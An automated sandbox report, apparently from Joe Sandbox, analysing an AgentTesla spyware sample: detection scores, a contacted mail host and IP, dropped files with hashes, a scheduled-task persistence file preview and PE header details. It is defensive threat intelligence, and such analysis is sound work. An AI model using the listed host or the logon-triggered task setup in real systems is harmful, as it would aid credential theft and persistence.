Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
P020241901.exe	66%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
P020241901.exe	100%	Avira	HEUR/AGEN.1306659
P020241901.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	100%	Avira	HEUR/AGEN.1306659
C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	66%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla

Source	Detection	Scanner	Label	Link
http://mail.cup.org.pk	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mail.cup.org.pk	203.82.48.116	true	true		unknown
_kerberos._tcp.dc._msdcs.cup.org.pk	unknown	unknown	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://account.dyn.com/	P020241901.exe, 00000000.00000002.2002617637.000000000375E000.00000004.00000800.00020000.00000000.sdmp, VKkzqGUhsZwwm.exe, 0000000E.00000002.3230734954.0000000000431000.00000040.00000400.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	P020241901.exe, 00000000.00000002.2001137973.0000000002581000.00000004.00000800.00020000.00000000.sdmp, VKkzqGUhsZwwm.exe, 0000000A.00000002.2042466300.0000000002679000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mail.cup.org.pk	P020241901.exe, 00000009.00000002.3234380229.0000000002A58000.00000004.00000800.00020000.00000000.sdmp, VKkzqGUhsZwwm.exe, 0000000E.00000002.3233407833.0000000002B46000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
203.82.48.116	mail.cup.org.pk	Pakistan		23674	NAYATEL-PKNayatelPvtLtdPK	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1410986
Start date and time:	2024-03-18 14:31:27 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	P020241901.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@19/15@2/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 174 Number of non-executed functions: 10
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: P020241901.exe

Simulations

Behavior and APIs

Time	Type	Description
14:32:11	API Interceptor	103x Sleep call for process: P020241901.exe modified
14:32:13	API Interceptor	34x Sleep call for process: powershell.exe modified
14:32:14	Task Scheduler	Run new task: VKkzqGUhsZwwm path: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe
14:32:16	API Interceptor	90x Sleep call for process: VKkzqGUhsZwwm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
203.82.48.116	SPO-2344564.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mail.cup.org.pk	SPO-2344564.exe	Get hash	malicious	AgentTesla	Browse	203.82.48.116

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NAYATEL-PKNayatelPvtLtdPK	1xGvWmAmvc.elf	Get hash	malicious	Unknown	Browse	115.186.147.79
	28SY8i9x72.elf	Get hash	malicious	Mirai	Browse	115.186.147.68
	SPO-2344564.exe	Get hash	malicious	AgentTesla	Browse	203.82.48.116
	ox0CSfGwkZ.elf	Get hash	malicious	Mirai	Browse	58.65.166.34
	huhu.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	115.186.172.43
	6G66kSe2A4.elf	Get hash	malicious	Mirai	Browse	115.186.147.23
	UX1Kgk69dt.elf	Get hash	malicious	Unknown	Browse	115.186.147.71
	fZZgQUTO36.elf	Get hash	malicious	Mirai	Browse	115.186.172.87
	oBnUnwroXT.elf	Get hash	malicious	Mirai	Browse	115.186.172.48
	sora.arm7.elf	Get hash	malicious	Mirai	Browse	115.186.172.37

Process:	C:\Users\user\Desktop\P020241901.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\VKkzqGUhsZwwm.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.380747059108785
Encrypted:	false
SSDEEP:	48:lylWSU4xymI4RfoUeW+gZ9tK8NPZHUxL7u1iMugei/ZPUyus:lGLHxvIIwLgZ2KRHWLOugss
MD5:	6557859169C38B3271B0895BF83DB40D
SHA1:	E5D44C6EBB6ABEA6A2E26FE81605C7BF8F903843
SHA-256:	547BADA37C7E136DFB5EA88928F9BFAF56C50DF2BB1E46628EACB8D1E7CDFD93
SHA-512:	CCC9D1D601F0F15453ED0EB7B7AEAB3B9B56C048E485E351CBF33FEF2306837019AB5206ED4D84873A35529FB9721BC1B9A222B7EC7EA7EC9DE58831D99EA730
Malicious:	false
Preview:	@...e.................................^..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4gbcp5mo.svp.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kukwo04m.elw.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ngjuznog.vlp.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ruetq44x.yc0.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s1rydocn.w14.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_stcfywtp.z2r.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tijkny5d.u50.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ysdjgrp2.ove.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmpBEA.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1586
Entropy (8bit):	5.124429139984825
Encrypted:	false
SSDEEP:	24:2di4+S2qhlZ1Muy1my3UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtxxvn:cgergYrFdOFzOzN33ODOiDdKrsuT3v
MD5:	D74CF001840614DB5C957E2A1934367F
SHA1:	023F250939860EF87F40774E615B765C65364A65
SHA-256:	F1DE5CA103033A002DD48D00DCB9E3ECB30738BD12C7DF1B244A99C4E8092296
SHA-512:	537BA2C07C10CBAC8382E41DD4A37574A2074542F2F9A9383288AB451766E97E6040322AC6DE2E9D90E4B37679A5F69C65C850FDD7FB7154132FAE02C74FF857
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetwor

C:\Users\user\AppData\Local\Temp\tmpF9C9.tmp

Download File

Process:	C:\Users\user\Desktop\P020241901.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1586
Entropy (8bit):	5.124429139984825
Encrypted:	false
SSDEEP:	24:2di4+S2qhlZ1Muy1my3UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtxxvn:cgergYrFdOFzOzN33ODOiDdKrsuT3v
MD5:	D74CF001840614DB5C957E2A1934367F
SHA1:	023F250939860EF87F40774E615B765C65364A65
SHA-256:	F1DE5CA103033A002DD48D00DCB9E3ECB30738BD12C7DF1B244A99C4E8092296
SHA-512:	537BA2C07C10CBAC8382E41DD4A37574A2074542F2F9A9383288AB451766E97E6040322AC6DE2E9D90E4B37679A5F69C65C850FDD7FB7154132FAE02C74FF857
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetwor

C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe

Download File

Process:	C:\Users\user\Desktop\P020241901.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	631296
Entropy (8bit):	7.9882381176484145
Encrypted:	false
SSDEEP:	12288:ripUWpDRbyAAMNPOtta6rE9y4+HQi4ieitahh6j:riaWPbyXMNPOtkIEowi4UtaSj
MD5:	F061401DD36DC8E88017EF9F9A43E5A7
SHA1:	EA4D27815A1CF0F447FAB333BDD52825E32807E3
SHA-256:	935319064E3A30103096A9241C2467B7D19FDBD371D078554A1A7503E1A92CDD
SHA-512:	91B74C01069A22F00E50C80174BBA8D8D1379D11B51FB09027A18EFD71A465507BA747185F36D670824EAA84B1BB2B49C81B310D04DAFC22B3B5C0A55FEA945A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....7................0.............f.... ........@.. ....................................@.....................................O....... ...........................p...p............................................ ............... ..H............text...l.... ...................... ..`.rsrc... ...........................@..@.reloc..............................@..B................H.......H.......X,...............C...d............................................r...p..'...%..&.(....}......}.....(.......(.......0..<.........{....o......{....o.......(.....s......{.....o......o....&.0..+.........,..{.......+....,...{....o........(.....*..0................(....s......s....}.....s....}.....s....}.....( .....{.... .... ....s!...o".....{....r!..po#.....r1..po$...t.....s%....s%...%.5o&....%.8o&....%.Ho&.....s%...%.8o&....%.5o&......s%...%.4o&....%.Ho&....%.4o&......

C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\P020241901.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.9882381176484145
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	P020241901.exe
File size:	631'296 bytes
MD5:	f061401dd36dc8e88017ef9f9a43e5a7
SHA1:	ea4d27815a1cf0f447fab333bdd52825e32807e3
SHA256:	935319064e3a30103096a9241c2467b7d19fdbd371d078554a1a7503e1a92cdd
SHA512:	91b74c01069a22f00e50c80174bba8d8d1379d11b51fb09027a18efd71a465507ba747185f36d670824eaa84b1bb2b49c81b310d04dafc22b3b5c0a55fea945a
SSDEEP:	12288:ripUWpDRbyAAMNPOtta6rE9y4+HQi4ieitahh6j:riaWPbyXMNPOtkIEowi4UtaSj
TLSH:	EFD4232F36D8A7A1D8B9A7F91F31105123E5E382E088FA690BDA399D36533F50504B97
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....7................0.............f.... ........@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x49b566
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x9A0837A8 [Wed Nov 22 01:36:40 2051 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9b514	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x9c000	0x620	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x9e000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x9a870	0x70	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
